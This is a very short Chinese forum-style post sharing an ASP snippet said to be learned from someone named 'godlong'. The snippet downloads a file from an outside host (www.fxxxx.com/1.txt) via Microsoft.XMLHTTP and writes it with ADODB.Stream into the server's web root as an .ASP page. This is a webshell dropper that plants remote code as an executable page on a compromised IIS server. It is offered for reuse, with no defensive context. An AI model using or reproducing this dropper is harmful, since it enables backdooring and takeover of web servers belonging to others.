分享一下

在3est活动中学习的godlong的

复制代码 代码如下:

<%

Set xPost = createObject("Microsoft.XMLHTTP")

xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址

xPost.Send()

Set sGet = createObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile "E:WWWROOTfuck1.ASP",2

%>